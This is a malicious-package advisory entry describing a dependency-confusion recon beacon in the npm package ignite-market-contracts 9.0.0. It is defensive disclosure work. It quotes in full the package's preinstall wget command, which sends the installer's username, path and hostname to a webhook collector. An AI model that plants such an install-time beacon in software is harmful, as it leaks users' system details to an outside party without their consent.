MAL-2026-4582

    Dashboard / Malicious Package / MAL-2026-4582

    MAL-2026-4582

    Published: 22 May 2026Last Modified: 26 May 2026

    Summary: Malicious code in ignite-market-contracts (npm)

    Details: Source: amazon-inspector (3632f7802511e2852d33925ab4d8612fe588de1f8a1d832011cd3588d23f62bc) The package's preinstall lifecycle hook in package.json runs `wget --quiet "https://webhook.site/64063d25-fcd3-44e5-a454-34845bc63250/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)"`, which fires automatically on `npm install` and transmits the installer's username, current working directory, and hostname to a third-party anonymous webhook collector. This is a recon beacon characteristic of dependency-confusion attacks: the installer-identifying data is sent to an attacker-controlled endpoint without consent. The package additionally has placeholder metadata (author 'me', empty description), a name that resembles legitimate marketplace/seaport contract packages, and declares a non-canonical dependency `seaport-core-16` — all consistent with a dependency-confusion PoC or active recon stage targeting internal package namespaces.

    References: https://www.npmjs.com/package/ignite-market-contracts/v/9.0.0

    Affected packages

    Package

    Name: ignite-market-contracts

    Purl: pkg:npm/ignite-market-contracts

    Affected ranges

    Type: N/A

    Events:

    Introduced- None
    Fixed -None

    Affected versions

    9.0.0
    MAL-2026-4582 | CVE-DB